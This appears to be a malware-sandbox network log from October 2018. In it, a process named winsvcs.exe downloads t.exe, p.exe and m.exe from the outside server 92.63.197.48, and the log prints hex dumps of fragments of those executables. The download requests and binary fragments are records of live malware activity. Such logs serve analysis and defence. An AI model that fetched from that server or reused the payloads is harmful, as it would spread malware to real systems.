Oct 30, 2018 14:45:11.987219095 CET	396	IN	Data Raw: d6 81 84 24 68 02 00 00 ec 86 42 14 68 a4 12 41 00 8d 8c 24 ac 0b 00 00 e8 2f e5 ff ff 33 ed 55 55 55 55 ff 15 4c 11 41 00 55 55 55 55 8d 84 24 14 03 00 00 50 ff 15 50 11 41 00 81 bc 24 10 03 00 00 59 01 00 00 75 75 b9 98 ca 41 00 8d 51 01 8a 01 Data Ascii: $hBhA$/3UUUULAUUUU$PPA$YuuAQAu+v\UUtAUUUUUpAUUU<AUUUUUXAU@AUUUUDA5AUUUAUUUUDAUAASHAWjl$d$d2^U AUUUUUU
Oct 30, 2018 14:45:11.987257004 CET	397	IN	Data Raw: 84 24 0c 01 00 00 cf de 85 6e c7 84 24 0c 02 00 00 47 01 bb 43 c7 84 24 d4 02 00 00 60 c2 90 68 c7 84 24 ec 01 00 00 60 1d 16 79 c7 84 24 04 02 00 00 5e 6f 91 39 c7 84 24 6c 02 00 00 f1 8a 5d 74 c7 84 24 b4 01 00 00 f3 d9 6b 19 c7 84 24 b4 02 00 Data Ascii: $n$GC$`h$`y$^o9$l]t$k$-/o$?A $47JR$_$8$v$$E$r $Z$dXR$D$\|6-$\v$\K$txz(
Oct 30, 2018 14:45:11.987288952 CET	398	IN	Data Raw: 81 84 24 4c 01 00 00 1d 2e ea 34 81 44 24 30 eb 2e 08 1d 81 84 24 bc 00 00 00 ba 83 da 04 81 ac 24 08 01 00 00 64 18 6a 47 81 44 24 24 92 1d 22 0a 81 6c 24 20 5b 40 ea 52 81 84 24 a0 00 00 00 18 98 7c 73 81 44 24 48 f2 34 6b 67 81 6c 24 78 85 5f Data Ascii: $L.4D$0.$$djGD$$"l$ [@R$\|sD$H4kgl$x_jl$o$3l$HeD$ 3B$kT$6'$$@l$ ud-$)Tl$p6$krl$\|>jl$ D35D$$y<B$h`l$x5
Oct 30, 2018 14:45:12.042125940 CET	400	IN	Data Raw: d3 9a 61 56 81 ac 24 a8 00 00 00 45 64 92 56 81 44 24 24 ea 09 84 44 81 84 24 dc 00 00 00 1c e1 bb 19 81 ac 24 14 01 00 00 ac 6d ef 07 81 44 24 30 2d c3 f0 0a 81 44 24 58 cd 8a 0d 44 81 84 24 c8 00 00 00 b8 55 35 39 81 ac 24 68 01 00 00 d2 9c 97 Data Ascii: aV$EdVD$$D$$mD$0-D$XD$U59$hll$pM$@lF$}$V[($1h$#]Q'D$Cl$p+]wQ$!w$Vq$]$>B67$Q($t`N$X+]$

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.1.81	51531	92.63.197.48	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:12.070408106 CET	425	OUT	GET /t.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 92.63.197.48
Oct 30, 2018 14:45:12.126921892 CET	426	IN	HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: Tue, 30 Oct 2018 13:45:12 GMT Content-Type: application/octet-stream Content-Length: 163328 Last-Modified: Tue, 30 Oct 2018 13:06:17 GMT Connection: keep-alive ETag: "5bd85749-27e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 16 e9 9b 5a 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0c 00 00 f6 00 00 00 a4 01 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELZ
Oct 30, 2018 14:45:12.126956940 CET	427	IN	Data Raw: 00 00 10 57 00 00 00 10 00 00 00 10 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 02 00 00 04 00 00 4e a6 02 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 Data Ascii: W@Nnd0Pe@`.textP
Oct 30, 2018 14:45:12.126979113 CET	428	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ARh2A4Y$
Oct 30, 2018 14:45:12.127002001 CET	428	IN	Data Raw: 6a 00 6a 00 8b ce e8 4e 03 00 00 ff 75 08 8b ce e8 54 04 00 00 8b c6 5e 8b e5 5d c2 04 00 56 8b f1 e8 2e 00 00 00 c7 06 10 12 41 00 8b c6 5e c3 56 8b f1 e8 e6 ff ff ff c7 06 44 12 41 00 8b c6 5e c3 56 8b f1 e8 d4 ff ff ff c7 06 84 12 41 00 8b c6 Data Ascii: jjNuT^]V.A^VDA^VA^AD$D$AD$jjAD$3;L$WL$?P7tL$V;^u3@3_V
Oct 30, 2018 14:45:12.127026081 CET	429	IN	Data Raw: 00 50 ff 75 e8 e8 d8 02 00 00 83 c4 0c 6a 00 6a 01 8b cf e8 29 01 00 00 8d 45 e8 50 57 8d 45 0b 50 8b cf e8 59 00 00 00 8b c8 e8 24 fd ff ff 89 77 14 53 8b cf e8 1e 00 00 00 e8 21 38 00 00 c2 08 00 6a 00 6a 01 8b 4d e4 e8 f3 00 00 00 6a 00 6a 00 Data Ascii: Pujj)EPWEPY$wS!8jjMjj7UQVuEPEqPUYY^]D$VWt$;rK9wswV,\|$tsG;BPjxuV3;_^\|$W
Oct 30, 2018 14:45:12.127049923 CET	429	IN	Data Raw: 84 c0 74 24 8b 4d 08 57 e8 09 ff ff ff 03 c3 8b ce 50 e8 ec fe ff ff 50 e8 ad 00 00 00 83 c4 0c 8b ce 57 e8 18 fe ff ff 5f 8b c6 5e 5b 5d c2 0c 00 8b ce e8 5a ff ff ff cc 56 ff 74 24 08 8b f1 e8 07 02 00 00 59 50 ff 74 24 0c 8b ce e8 04 00 00 00 Data Ascii: t$MWPPW_^[]ZVt$YPt$^UVW}Wntu+WV3.jutuWiP*u_^]D$D$AAU}uE]]9t$T-YU
Oct 30, 2018 14:45:12.127095938 CET	430	IN	Data Raw: 56 6a 64 6a 00 ff 15 6c 10 41 00 8b 54 24 08 8b f0 2b f2 8a 0a 88 0c 16 42 84 c9 75 f6 c6 40 0b 65 5e c3 8b 44 24 04 8b 4c 24 08 89 08 c3 b8 20 f2 41 00 c3 8b 44 24 04 80 38 00 75 03 33 c0 c3 8d 50 01 8a 08 40 84 c9 75 f9 2b c2 c3 51 e8 06 00 00 Data Ascii: VjdjlAT$+Bu@e^D$L$ AD$8u3P@u+QYL$QD$P3B;HFYt$Y0AEQL$D$U}uMhhAuuE]t$Y0AEQL$D$
Oct 30, 2018 14:45:12.127120972 CET	430	IN	Data Raw: 83 fe 20 72 85 8b 74 24 24 89 7e 04 5f 89 1e 5e 5d 5b 83 c4 10 c3 8b 44 24 08 56 8b 30 c1 ee 03 85 f6 74 18 57 8b 7c 24 0c ff 74 24 14 57 e8 14 ff ff ff 59 83 c7 08 59 4e 75 ee 5f 5e c3 8b 01 c3 8b 01 c3 81 ec f0 0b 00 00 a1 90 de 41 00 33 c4 89 Data Ascii: rt$$~_^][D$V0tW\|$t$WYYNu_^A3$UVD$Xz@D$$d>D$\|=~TD$<iUD$ !>D$4)D$l,X"$s2<D$\1$w$\|,@D$0qU)$xw9kD$D%$D$< nWD$LWofD$,c$
Oct 30, 2018 14:45:12.127146006 CET	431	IN	Data Raw: 08 c7 84 24 2c 01 00 00 83 4c 7a 78 c7 84 24 68 01 00 00 fb 5f cb 0a c7 84 24 70 01 00 00 ea b9 05 55 c7 84 24 08 02 00 00 e2 f5 a1 36 c7 84 24 58 02 00 00 8c 96 c1 37 c7 84 24 a0 02 00 00 0c 0e a1 68 c7 84 24 78 01 00 00 c1 9b b8 4d c7 84 24 20 Data Ascii: $,Lzx$h_$pU$6$X7$h$xM$ Np=$z$$f($gR$}$$@Gr!$Zp$8g$A $*$(Gw$l$\^:A
Oct 30, 2018 14:45:12.127370119 CET	432	IN	Data Raw: 57 12 5f 8d 84 24 a8 07 00 00 50 ff d6 81 6c 24 20 25 bb 63 6b 81 44 24 24 67 5d 07 78 8d 84 24 a8 03 00 00 50 ff d6 81 44 24 20 90 fe af 15 81 44 24 24 a5 dc ca 52 81 6c 24 20 de 22 11 58 8d 84 24 78 0b 00 00 50 ff d6 81 6c 24 0c e0 0e 1f 26 8d Data Ascii: W_$Pl$ %ckD$$g]x$PD$ D$$Rl$ "X$xPl$&$PD$ _}D$\y%]$P$Pl$\|/$Pl$QjVD$GB$P$Pl$$_l$$Ip$(Pl$0jl$\GwyD$ 8l$pl$0
Oct 30, 2018 14:45:12.182179928 CET	433	IN	Data Raw: d6 81 6c 24 2c 09 2d 95 1b 8d 84 24 68 08 00 00 50 ff d6 8d 84 24 28 05 00 00 50 ff d6 81 6c 24 0c 8d bf 32 09 81 84 24 e8 00 00 00 99 b1 ef 31 81 44 24 3c 1b c2 62 0e 81 44 24 2c ac 06 56 69 8d 84 24 38 03 00 00 50 ff d6 8d 84 24 48 05 00 00 50 Data Ascii: l$,-$hP$(Pl$2$1D$<bD$,Vi$8P$HPl$dOiD$lj$Pl$<55l$0D$qc$+$LvGl$0JD$<US{jD$, x$$hPl$,Pl$L?D$dAj$YwD$,5nF
Oct 30, 2018 14:45:13.159113884 CET	789	OUT	GET /p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 92.63.197.48
Oct 30, 2018 14:45:13.214952946 CET	790	IN	HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: Tue, 30 Oct 2018 13:45:13 GMT Content-Type: application/octet-stream Content-Length: 204288 Last-Modified: Tue, 30 Oct 2018 08:01:46 GMT Connection: keep-alive ETag: "5bd80fea-31e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a6 25 fd 59 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0c 00 00 f6 00 00 00 44 02 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%YD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.1.81	51552	92.63.197.48	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:12.561734915 CET	590	OUT	GET /m.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 92.63.197.48
Oct 30, 2018 14:45:12.615075111 CET	591	IN	HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: Tue, 30 Oct 2018 13:45:12 GMT Content-Type: application/octet-stream Content-Length: 1207296 Last-Modified: Mon, 29 Oct 2018 19:15:12 GMT Connection: keep-alive ETag: "5bd75c40-126c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bb 8c f8 01 ff ed 96 52 ff ed 96 52 ff ed 96 52 e1 bf 12 52 e2 ed 96 52 e1 bf 03 52 ee ed 96 52 e1 bf 15 52 95 ed 96 52 d8 2b ed 52 fa ed 96 52 ff ed 97 52 89 ed 96 52 54 d5 ad 4b fe ed 96 52 e1 bf 02 52 fe ed 96 52 85 78 aa a8 fe ed 96 52 52 69 63 68 ff ed 96 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 13 fc d4 59 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$RRRRRRRRR+RRRRTKRRRxRRichRPELY
Oct 30, 2018 14:45:12.615140915 CET	591	IN	Data Raw: 00 b8 00 00 00 ec 5f 00 00 00 00 00 0a 17 00 00 00 10 00 00 00 d0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 60 00 00 04 00 00 0c a4 12 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 Data Ascii: _@`<` `@.text
Oct 30, 2018 14:45:12.615165949 CET	592	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: UQeVEPuu
Oct 30, 2018 14:45:12.615190983 CET	593	IN	Data Raw: 56 e8 bf 08 00 00 59 c3 6a 0c 68 90 e4 40 00 e8 2c 0e 00 00 33 db 89 5d e4 33 c0 8b 7d 08 3b fb 0f 95 c0 3b c3 75 1c e8 ee 05 00 00 c7 00 16 00 00 00 53 53 53 53 53 e8 dc 0d 00 00 83 c4 14 33 c0 eb 79 33 c0 8b 75 0c 3b f3 0f 95 c0 3b c3 74 d6 33 Data Ascii: VYjh@,3]3};;uSSSSS3y3u;;t38;tE;u]8u jEPh8APuVWEEEuYUj@uu*]UMS]V
Oct 30, 2018 14:45:12.615215063 CET	593	IN	Data Raw: f8 56 e8 90 0a 00 00 59 50 e8 23 19 00 00 83 c4 0c 85 c0 0f 84 b6 00 00 00 83 f8 ff 0f 84 9b 00 00 00 01 45 f8 2b d8 29 45 fc eb 28 56 e8 e6 06 00 00 59 83 f8 ff 0f 84 85 00 00 00 83 7d fc 00 74 4e 8b 4d f8 ff 45 f8 88 01 8b 46 18 4b ff 4d fc 89 Data Ascii: VYP#E+)E(VY}tNMEFKMEE3}tuVuVVVV"Vr}tujuW"3PPPPPEN +3u=Njh@G3u9ut79ut29u
Oct 30, 2018 14:45:12.615237951 CET	594	IN	Data Raw: b0 51 00 01 75 05 e8 c1 21 00 00 ff 75 08 e8 0e 20 00 00 68 ff 00 00 00 e8 50 1d 00 00 59 59 5d c3 6a 58 68 d0 e4 40 00 e8 e3 09 00 00 33 f6 89 75 fc 8d 45 98 50 ff 15 74 d0 40 00 6a fe 5f 89 7d fc b8 4d 5a 00 00 66 39 05 00 00 40 00 75 38 a1 3c Data Ascii: Qu!u hPYY]jXh@3uEPt@j_}MZf9@u8<@@PEu'f9@ut@v39@Mu3CS;,YujXYujGY/&]l}jOY&%Q$}jY"
Oct 30, 2018 14:45:12.615262032 CET	594	IN	Data Raw: ff ff ff 8b 4d 08 51 89 08 e8 82 ff ff ff 59 8b f0 e8 bc ff ff ff 89 30 5e 5d c3 6a 0c 68 f8 e4 40 00 e8 d1 07 00 00 8b 4d 08 33 ff 3b cf 76 2e 6a e0 58 33 d2 f7 f1 3b 45 0c 1b c0 40 75 1f e8 8e ff ff ff c7 00 0c 00 00 00 57 57 57 57 57 e8 7c 07 Data Ascii: MQY0^]jh@M3;v.jX3;E@uWWWWW\|3Mu;u3F3]wi=DuKuE;4w7j],Y}u4YEE_];tuWSC;uaVj5<Qx@;uL9=Qt3VH,
Oct 30, 2018 14:45:12.615286112 CET	595	IN	Data Raw: 3b f0 72 22 81 fe d8 03 41 00 77 1a 8b ce 2b c8 c1 f9 05 83 c1 10 51 e8 c5 2a 00 00 81 4e 0c 00 80 00 00 59 eb 0a 83 c6 20 56 ff 15 7c d0 40 00 5e 5d c3 8b ff 55 8b ec 8b 45 08 83 f8 14 7d 16 83 c0 10 50 e8 98 2a 00 00 8b 45 0c 81 48 0c 00 80 00 Data Ascii: ;r"Aw+QNY V\|@^]UE}PEHY]E P\|@]UExA;r=Aw`+Pu)Y] P@]UME}`QF)Y] P@]UVuW3;uWWWWW
Oct 30, 2018 14:45:12.615309954 CET	596	IN	Data Raw: fc fe ff ff ff 6a 40 6a 20 5e 56 e8 2c 34 00 00 59 59 3b c7 0f 84 14 02 00 00 a3 80 dc 9f 00 89 35 64 dc 9f 00 8d 88 00 08 00 00 eb 30 c6 40 04 00 83 08 ff c6 40 05 0a 89 78 08 c6 40 24 00 c6 40 25 0a c6 40 26 0a 89 78 38 c6 40 34 00 83 c0 40 8b Data Ascii: j@j ^V,4YY;5d0@@x@$@%@&x8@4@;rf9}E;8X;E;\|E[j@j 3YYtVMd *@@``$@%@&`8@4@;rE9=d
Oct 30, 2018 14:45:12.615334034 CET	596	IN	Data Raw: 84 d0 40 00 33 c0 eb 11 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff 83 c8 ff e8 d7 01 00 00 c3 8b ff 55 8b ec 8b 45 08 56 33 f6 3b c6 75 1d e8 57 f9 ff ff 56 56 56 56 56 c7 00 16 00 00 00 e8 45 01 00 00 83 c4 14 83 c8 ff eb 03 8b 40 10 5e 5d c3 8b Data Ascii: @33@eEUEV3;uWVVVVVE@^]UEQ]U(8A3ESjLjP7(0,ffffff
Oct 30, 2018 14:45:12.668448925 CET	597	IN	Data Raw: ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 38 04 41 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 63 33 00 00 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 53 33 00 00 8b 45 08 f6 40 04 66 0f 85 16 01 00 00 Data Ascii: S]Vs358AWEE{tN38c3NF38S3E@fMUS[EMt_I[LDEEtE\|@GEu}t$tN382NV3:2E_^[]EM9csmu)=`t h`

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.1.81	51559	92.63.197.48	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:12.685960054 CET	610	OUT	GET /m.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 92.63.197.48
Oct 30, 2018 14:45:12.741300106 CET	632	IN	HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: Tue, 30 Oct 2018 13:45:12 GMT Content-Type: application/octet-stream Content-Length: 1207296 Last-Modified: Mon, 29 Oct 2018 19:15:12 GMT Connection: keep-alive ETag: "5bd75c40-126c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bb 8c f8 01 ff ed 96 52 ff ed 96 52 ff ed 96 52 e1 bf 12 52 e2 ed 96 52 e1 bf 03 52 ee ed 96 52 e1 bf 15 52 95 ed 96 52 d8 2b ed 52 fa ed 96 52 ff ed 97 52 89 ed 96 52 54 d5 ad 4b fe ed 96 52 e1 bf 02 52 fe ed 96 52 85 78 aa a8 fe ed 96 52 52 69 63 68 ff ed 96 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 13 fc d4 59 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 b8 00 00 00 ec 5f 00 00 00 00 00 0a 17 00 00 00 10 00 00 00 d0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 60 00 00 04 00 00 0c a4 12 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 e8 00 00 3c 00 00 00 00 00 60 00 20 8d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 60 00 e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 e3 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e0 b6 00 00 00 10 00 00 00 b8 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e0 21 00 00 00 d0 00 00 00 22 00 00 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a8 fd 5e 00 00 00 01 00 00 b4 10 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 8d 00 00 00 00 60 00 00 8e 00 00 00 92 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ca 4a 00 00 00 90 60 00 00 4c 00 00 00 20 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$RRRRRRRRR+RRRRTKRRRxRRichRPELY_@`<` `@.text `.rdata!"@@.data^@.rsrc `@@.relocJ`L @B
Oct 30, 2018 14:45:12.741367102 CET	633	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: UQeVEPuuu9Et)t M^jhp@03}3u;;u WWWWWVY}F@uwVVYt
Oct 30, 2018 14:45:12.741405964 CET	635	IN	Data Raw: 00 83 c4 0c e8 f3 02 00 00 c7 00 16 00 00 00 56 56 56 56 56 e8 e1 0a 00 00 83 c4 14 33 c0 e8 44 0b 00 00 c3 ff 75 18 e8 08 05 00 00 59 89 75 fc ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 81 fd ff ff 83 c4 14 89 45 e4 c7 45 fc fe ff ff ff e8 Data Ascii: VVVVV3DuYuuuuuuEEEuDYUuuujuR]U]#UVuW3;u3e9}uQj^0WWWWW@E9}t9urVuuouWuN9}t9u
Oct 30, 2018 14:45:12.741457939 CET	636	IN	Data Raw: 33 d2 b9 78 01 41 00 eb 05 a1 80 dd 9f 00 89 0c 02 83 c1 20 83 c2 04 81 f9 f8 03 41 00 7c ea 6a fe 5e 33 d2 b9 88 01 41 00 57 8b c2 c1 f8 05 8b 04 85 80 dc 9f 00 8b fa 83 e7 1f c1 e7 06 8b 04 07 83 f8 ff 74 08 3b c6 74 04 85 c0 75 02 89 31 83 c1 Data Ascii: 3xA A\|j^3AWt;tu1 BA\|_3^@9=Qt75~YUVuxA;r"Aw+QNY V\|@^]UE}PEHY]E P\|@]
Oct 30, 2018 14:45:12.741492987 CET	637	IN	Data Raw: 67 ff ff ff ff 35 64 dc 9f 00 ff 15 84 d0 40 00 33 c0 eb 11 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff 83 c8 ff e8 d7 01 00 00 c3 8b ff 55 8b ec 8b 45 08 56 33 f6 3b c6 75 1d e8 57 f9 ff ff 56 56 56 56 56 c7 00 16 00 00 00 e8 45 01 00 00 83 c4 14 Data Ascii: g5d@33@eEUEV3;uWVVVVVE@^]UEQ]U(8A3ESjLjP7(0,ffff
Oct 30, 2018 14:45:12.741523027 CET	638	IN	Data Raw: f6 45 0c 02 0f 85 98 00 00 00 8b 45 0c 83 e0 fe 83 c8 02 89 45 0c 8b 45 fc 83 e0 fc 0b c2 89 45 fc e9 87 00 00 00 39 5d f8 75 77 83 4d 0c 20 c7 45 f8 01 00 00 00 eb 75 83 e8 54 74 5c 83 e8 0e 74 45 48 74 31 83 e8 0b 74 17 83 e8 06 0f 85 0e 01 00 Data Ascii: EEEEE9]uwM EuTt\tEHt1tEuF}L9]u<eE79]u'}E&EuMEt3MF:9]F> tjVh@=F> t>=upF
Oct 30, 2018 14:45:12.741554022 CET	639	IN	Data Raw: c4 14 83 c8 ff e9 51 05 00 00 8b c6 c1 f8 05 57 8d 3c 85 80 dc 9f 00 8b 07 83 e6 1f c1 e6 06 03 c6 8a 48 04 f6 c1 01 75 14 e8 15 f0 ff ff 89 18 e8 fb ef ff ff c7 00 09 00 00 00 eb 6a 81 fa ff ff ff 7f 77 50 89 5d f0 3b d3 0f 84 08 05 00 00 f6 c1 Data Ascii: QW<HujwP];9]t7@$EHjYtHutUEEu!SSSSS}4M;rEu'YE;uW_hj
Oct 30, 2018 14:45:12.741584063 CET	641	IN	Data Raw: 05 8b 07 8a 4d f9 88 4c 06 25 8b 07 c6 44 06 26 0a eb 2a 3b 5d f4 75 07 66 83 7d f8 0a 74 85 6a 01 6a ff 6a fe ff 75 08 e8 69 36 00 00 83 c4 10 66 83 7d f8 0a 74 08 6a 0d 58 66 89 03 43 43 8b 45 f0 39 45 10 0f 82 1b ff ff ff eb 18 8b 0f 8d 74 0e Data Ascii: ML%D&*;]uf}tjjjui6f}tjXfCCE9Et@uffCC+]] @j^;u0imY]\3_[^jhX@Eu 3;\|;dr!0
Oct 30, 2018 14:45:12.741612911 CET	642	IN	Data Raw: f7 d9 ff 24 8d 60 31 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 b4 30 40 00 ff 24 8d b0 31 40 00 90 c4 30 40 00 e8 30 40 00 10 31 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc Data Ascii: $`1@Ir+$0@$1@0@0@1@F#Gr$1@IF#GFGr$1@F#GFGFGV$1@Id1@l1@t1@\|1@1@1@1@1@DDDDDDD
